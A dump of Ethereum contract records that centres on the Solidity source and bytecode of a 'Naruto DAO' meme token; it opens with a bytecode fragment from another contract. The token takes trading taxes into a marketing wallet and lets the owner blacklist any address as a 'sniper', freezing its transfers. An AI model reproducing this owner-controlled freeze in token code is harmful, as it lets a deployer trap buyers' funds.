b6001600160a01b0383166108545760405162461bcd60e51b8152600401808060200182810382526024815260200180610dfe6024913960400191505060405180910390fd5b6001600160a01b0382166108995760405162461bcd60e51b8152600401808060200182810382526022815260200180610d486022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109405760405162461bcd60e51b8152600401808060200182810382526025815260200180610dd96025913960400191505060405180910390fd5b6001600160a01b0382166109855760405162461bcd60e51b8152600401808060200182810382526023815260200180610cdd6023913960400191505060405180910390fd5b610990838383610c95565b6109cd81604051806060016040528060268152602001610d6a602691396001600160a01b0386166000908152602081905260409020549190610a56565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109fc90826107aa565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610ae55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610aaa578181015183820152602001610a92565b50505050905090810190601f168015610ad75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610b325760405162461bcd60e51b8152600401808060200182810382526021815260200180610db86021913960400191505060405180910390fd5b610b3e82600083610c95565b610b7b81604051806060016040528060228152602001610d00602291396001600160a01b0385166000908152602081905260409020549190610a56565b6001600160a01b038316600090815260208190526040902055600254610ba19082610c9a565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038116610c2e5760405162461bcd60e51b8152600401808060200182810382526026815260200180610d226026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b505050565b600061080483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a5656fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201fe64a87cc9375cec443e470f41e64f3fead8a8fc1a94eb054d29354b1e1250064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,243
0xFd2041917e457227447b0FEf7A6FBeB93fdcCF89
// SPDX-License-Identifier: Unlicensed /** https://t.me/narutodao ░█▄─░█ ─█▀▀█ ░█▀▀█ ░█─░█ ▀▀█▀▀ ░█▀▀▀█   ░█▀▀▄ ─█▀▀█ ░█▀▀▀█ ░█░█░█ ░█▄▄█ ░█▄▄▀ ░█─░█ ─░█── ░█──░█   ░█─░█ ░█▄▄█ ░█──░█ ░█──▀█ ░█─░█ ░█─░█ ─▀▄▄▀ ─░█── ░█▄▄▄█   ░█▄▄▀ ░█─░█ ░█▄▄▄█ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NARUTODAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Naruto DAO"; string private constant _symbol = "NARUTODAO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e13 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 9; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 1; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xF221f534F2018EdF9F193aC806BE76963bd3aC5c); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 1e11 * 10**9; uint256 public _maxWalletSize = 2e11 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e11 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 2 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610648578063e0f9f6a01461068e578063ea1644d5146106ae578063f2fde38b146106ce578063fe72c3c1146106ee57600080fd5b806395d89b41146105965780639ec350ed146105c85780639f131571146105e8578063a9059cbb14610608578063c55284901461062857600080fd5b80637c519ffb116100f25780637c519ffb146105175780637d1db4a51461052c578063881dce60146105425780638da5cb5b146105625780638f9a55c01461058057600080fd5b806370a08231146104ac578063715018a6146104cc57806374010ece146104e1578063790ca4131461050157600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104215780635d098b38146104415780636b9cf534146104615780636d8aa8f8146104775780636fc3eaec1461049757600080fd5b8063313ce567146103a557806333251a0b146103c157806338eea22d146103e157806349bd5a5e1461040157600080fd5b806318160ddd116101ed57806318160ddd1461031057806323b872dd1461033757806327c8f8351461035757806328bb665a1461036d5780632fd689e31461038f57600080fd5b806306fdde031461022a578063095ea7b31461026f5780630f3a325f1461029f5780631694505e146102d857600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600a8152694e617275746f2044414f60b01b60208201525b6040516102669190611ff2565b60405180910390f35b34801561027b57600080fd5b5061028f61028a366004611e9d565b610704565b6040519015158152602001610266565b3480156102ab57600080fd5b5061028f6102ba366004611de9565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e457600080fd5b506019546102f8906001600160a01b031681565b6040516001600160a01b039091168152602001610266565b34801561031c57600080fd5b5069021e19e0c9bab24000005b604051908152602001610266565b34801561034357600080fd5b5061028f610352366004611e5c565b61071b565b34801561036357600080fd5b506102f861dead81565b34801561037957600080fd5b5061038d610388366004611ec9565b610784565b005b34801561039b57600080fd5b50610329601d5481565b3480156103b157600080fd5b5060405160098152602001610266565b3480156103cd57600080fd5b5061038d6103dc366004611de9565b610823565b3480156103ed57600080fd5b5061038d6103fc366004611fd0565b610892565b34801561040d57600080fd5b50601a546102f8906001600160a01b031681565b34801561042d57600080fd5b5061038d61043c366004611fb7565b6108e3565b34801561044d57600080fd5b5061038d61045c366004611de9565b610920565b34801561046d57600080fd5b50610329601e5481565b34801561048357600080fd5b5061038d610492366004611f95565b61097a565b3480156104a357600080fd5b5061038d6109c2565b3480156104b857600080fd5b506103296104c7366004611de9565b6109ec565b3480156104d857600080fd5b5061038d610a0e565b3480156104ed57600080fd5b5061038d6104fc366004611fb7565b610a82565b34801561050d57600080fd5b50610329600a5481565b34801561052357600080fd5b5061038d610b26565b34801561053857600080fd5b50610329601b5481565b34801561054e57600080fd5b5061038d61055d366004611fb7565b610b80565b34801561056e57600080fd5b506000546001600160a01b03166102f8565b34801561058c57600080fd5b50610329601c5481565b3480156105a257600080fd5b506040805180820190915260098152684e415255544f44414f60b81b6020820152610259565b3480156105d457600080fd5b5061038d6105e3366004611fd0565b610bfc565b3480156105f457600080fd5b5061038d610603366004611f95565b610c4d565b34801561061457600080fd5b5061028f610623366004611e9d565b610c95565b34801561063457600080fd5b5061038d610643366004611fd0565b610ca2565b34801561065457600080fd5b50610329610663366004611e23565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069a57600080fd5b5061038d6106a9366004611fb7565b610cf3565b3480156106ba57600080fd5b5061038d6106c9366004611fb7565b610d3d565b3480156106da57600080fd5b5061038d6106e9366004611de9565b610d7b565b3480156106fa57600080fd5b5061032960185481565b6000610711338484610e65565b5060015b92915050565b6000610728848484610f89565b61077a8433610775856040518060600160405280602881526020016121f7602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061167a565b610e65565b5060019392505050565b6000546001600160a01b031633146107b75760405162461bcd60e51b81526004016107ae90612047565b60405180910390fd5b60005b815181101561081f576001600960008484815181106107db576107db6121b5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061081781612184565b9150506107ba565b5050565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016107ae90612047565b6001600160a01b03811660009081526009602052604090205460ff161561088f576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108bc5760405162461bcd60e51b81526004016107ae90612047565b60018211156108ca57600080fd5b60018111156108d857600080fd5b600d91909155600f55565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016107ae90612047565b600181111561091b57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461094057600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109a45760405162461bcd60e51b81526004016107ae90612047565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109e257600080fd5b4761088f816116b4565b6001600160a01b038116600090815260026020526040812054610715906116ee565b6000546001600160a01b03163314610a385760405162461bcd60e51b81526004016107ae90612047565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610aac5760405162461bcd60e51b81526004016107ae90612047565b674563918244f40000811015610b215760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107ae565b601b55565b6000546001600160a01b03163314610b505760405162461bcd60e51b81526004016107ae90612047565b601a54600160a01b900460ff1615610b6757600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610ba057600080fd5b610ba9306109ec565b8111158015610bb85750600081115b610bf35760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ae565b61088f81611772565b6000546001600160a01b03163314610c265760405162461bcd60e51b81526004016107ae90612047565b6001821115610c3457600080fd5b6013811115610c4257600080fd5b600b91909155600c55565b6000546001600160a01b03163314610c775760405162461bcd60e51b81526004016107ae90612047565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610711338484610f89565b6000546001600160a01b03163314610ccc5760405162461bcd60e51b81526004016107ae90612047565b600d821115610cda57600080fd5b600d811115610ce857600080fd5b600e91909155601055565b6000546001600160a01b03163314610d1d5760405162461bcd60e51b81526004016107ae90612047565b6004811115610d2b57600080fd5b610d3781610e1061214e565b60185550565b6000546001600160a01b03163314610d675760405162461bcd60e51b81526004016107ae90612047565b601c54811015610d7657600080fd5b601c55565b6000546001600160a01b03163314610da55760405162461bcd60e51b81526004016107ae90612047565b6001600160a01b038116610e0a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ae565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ec75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ae565b6001600160a01b038216610f285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ae565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ae565b6001600160a01b03821661104f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ae565b600081116110b15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ae565b6001600160a01b03821660009081526009602052604090205460ff16156110ea5760405162461bcd60e51b81526004016107ae9061207c565b6001600160a01b03831660009081526009602052604090205460ff16156111235760405162461bcd60e51b81526004016107ae9061207c565b3360009081526009602052604090205460ff16156111535760405162461bcd60e51b81526004016107ae9061207c565b6000546001600160a01b0384811691161480159061117f57506000546001600160a01b03838116911614155b156114c257601a54600160a01b900460ff166111dd5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ae565b601a546001600160a01b03838116911614801561120857506019546001600160a01b03848116911614155b156112ba576001600160a01b038216301480159061122f57506001600160a01b0383163014155b801561124957506017546001600160a01b03838116911614155b801561126357506017546001600160a01b03848116911614155b156112ba57601b548111156112ba5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ae565b601a546001600160a01b038381169116148015906112e657506017546001600160a01b03838116911614155b80156112fb57506001600160a01b0382163014155b801561131257506001600160a01b03821661dead14155b156113bc57601c5481611324846109ec565b61132e9190612114565b106113875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ae565b601a54600160b81b900460ff16156113bc57600a546113a7906078612114565b42116113bc57601e548111156113bc57600080fd5b60006113c7306109ec565b601d5490915081118080156113e65750601a54600160a81b900460ff16155b80156114005750601a546001600160a01b03868116911614155b80156114155750601a54600160b01b900460ff165b801561143a57506001600160a01b03851660009081526006602052604090205460ff16155b801561145f57506001600160a01b03841660009081526006602052604090205460ff16155b156114bf576013546000901561149a5761148f6064611489601354866118fb90919063ffffffff16565b9061197a565b905061149a816119bc565b6114ac6114a7828561216d565b611772565b4780156114bc576114bc476116b4565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150457506001600160a01b03831660009081526006602052604090205460ff165b806115365750601a546001600160a01b038581169116148015906115365750601a546001600160a01b03848116911614155b1561154357506000611668565b601a546001600160a01b03858116911614801561156e57506019546001600160a01b03848116911614155b156115c9576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156115c9576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156115f457506019546001600160a01b03858116911614155b15611668576001600160a01b0384166000908152600460205260409020541580159061164557506018546001600160a01b038516600090815260046020526040902054429161164291612114565b10155b1561165b57600b54601155600c54601255611668565b600f546011556010546012555b611674848484846119c9565b50505050565b6000818484111561169e5760405162461bcd60e51b81526004016107ae9190611ff2565b5060006116ab848661216d565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561081f573d6000803e3d6000fd5b60006007548211156117555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ae565b600061175f6119fd565b905061176b838261197a565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117ba576117ba6121b5565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561180e57600080fd5b505afa158015611822573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118469190611e06565b81600181518110611859576118596121b5565b6001600160a01b03928316602091820292909201015260195461187f9130911684610e65565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906118b89085906000908690309042906004016120a3565b600060405180830381600087803b1580156118d257600080fd5b505af11580156118e6573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b60008261190a57506000610715565b6000611916838561214e565b905082611923858361212c565b1461176b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ae565b600061176b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a20565b61088f3061dead83610f89565b806119d6576119d6611a4e565b6119e1848484611a93565b8061167457611674601454601155601554601255601654601355565b6000806000611a0a611b8a565b9092509050611a19828261197a565b9250505090565b60008183611a415760405162461bcd60e51b81526004016107ae9190611ff2565b5060006116ab848661212c565b601154158015611a5e5750601254155b8015611a6a5750601354155b15611a7157565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611aa587611bce565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611ad79087611c2b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611b069086611c6d565b6001600160a01b038916600090815260026020526040902055611b2881611ccc565b611b328483611d16565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b7791815260200190565b60405180910390a3505050505050505050565b600754600090819069021e19e0c9bab2400000611ba7828261197a565b821015611bc55750506007549269021e19e0c9bab240000092509050565b90939092509050565b6000806000806000806000806000611beb8a601154601254611d3a565b9250925092506000611bfb6119fd565b90506000806000611c0e8e878787611d89565b919e509c509a509598509396509194505050505091939550919395565b600061176b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061167a565b600080611c7a8385612114565b90508381101561176b5760405162461bcd60e5